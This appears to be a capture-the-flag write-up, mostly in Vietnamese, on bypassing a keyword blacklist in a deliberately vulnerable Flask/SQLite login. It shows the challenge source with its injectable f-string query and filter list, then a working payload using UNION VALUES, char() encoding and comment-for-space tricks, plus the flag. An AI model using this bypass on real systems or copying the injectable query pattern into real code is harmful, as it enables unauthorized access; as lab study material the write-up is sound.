CookieCTF - Baby SQLite With Filter
Description
Link challenge tại đây
You cannot create the query because we have blocked the following keywords. Challenge you to bypass it, how to know after each SQL Keyword you will be used what SQL statement. The blacklist sqli_filter = ‘[’, ‘]’, ‘,’, ‘admin’, ‘select’, ‘’’, ‘"’, ‘\t’, ‘\n’, ‘\r’, ‘\x08’, ‘\x09’, ‘\x00’, ‘\x0b’, ‘\x0d’, ’ ‘. The vulnerable parameter is ’level’ in Login function.
Step
Đây là giao diện chính của challenge:
Tiến hành đọc source code:
#!/usr/bin/env python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import urllib
import os
import sqlite3
app = Flask(__name__)
app.secret_key = os.urandom(32)
from flask import _app_ctx_stack
DATABASE = 'users.db'
def get_db():
top = _app_ctx_stack.top
if not hasattr(top, 'sqlite_db'):
top.sqlite_db = sqlite3.connect(DATABASE)
return top.sqlite_db
FLAG = open('/flag.txt', 'r').read()
@app.route('/')
def index():
return render_template('index.jinja2')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.jinja2')
uid = request.form.get('uid', '').lower()
upw = request.form.get('upw', '').lower()
level = request.form.get('level', '9').lower()
sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
for x in sqli_filter:
if uid.find(x) != -1:
return 'No Hack!'
if upw.find(x) != -1:
return 'No Hack!'
if level.find(x) != -1:
return 'No Hack!'
with app.app_context():
conn = get_db()
query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
try:
req = conn.execute(query)
result = req.fetchone()
if result is not None:
uid = result[0]
if uid == 'admin':
return FLAG
except Exception as e:
print(e)
return 'Error!'
return 'Good!'
@app.teardown_appcontext
def close_connection(exception):
top = _app_ctx_stack.top
if hasattr(top, 'sqlite_db'):
top.sqlite_db.close()
if __name__ == '__main__':
os.system('rm -rf %s' % DATABASE)
with app.app_context():
conn = get_db()
conn.execute('CREATE TABLE users (uid text, upw text, level integer);')
conn.execute("INSERT INTO users VALUES ('dream','cometrue', 9);")
conn.commit()
app.run(host='0.0.0.0', port=1337)
Có thể thấy được rằng để lấy được flag thì uid
phải là admin
nhưng ở trong database lại không có user nào là admin
.
Vì vậy ta phải khiến cho chương trình hiện thị ra mỗi một cái bảng với cột uid = admin
.
Thử nghiệm ở trên SQLite Online với câu lệnh như sau:
SELECT uid FROM users WHERE uid='dream' AND upw= 'cometrue' AND level='9' UNION SELECT 'admin' AS uid;
Nhưng ta đã bị filter khá là nhiều ký tự, trong đó có cả SELECT
và admin
.
Trong SQLite, theo selectCore
ngoài kết hợp toán tử UNION
với toán tử SELECT
ta còn có thể kết hợp với toán tử VALUES
.
Thử nghiệm:
SELECT uid FROM users WHERE uid='dream' AND upw='' AND level=0 UNION VALUES('admin');
Và bypass ký tự admin
bằng hàm char()
có sẵn trong SQLite để ép kiểu về dạng ASCII, dùng ||
để nối chuỗi và dùng /**/
để bypass khoảng trắng.
Payload:
uid=&upw=&level=0/**/union/**/values(char(97)||char(100)||char(109)||char(105)||char(110))
Flag: CHH{uS1nG_5yN7@x_d149raM_f95a6d70e2d13245852f2bc2a9ec023a}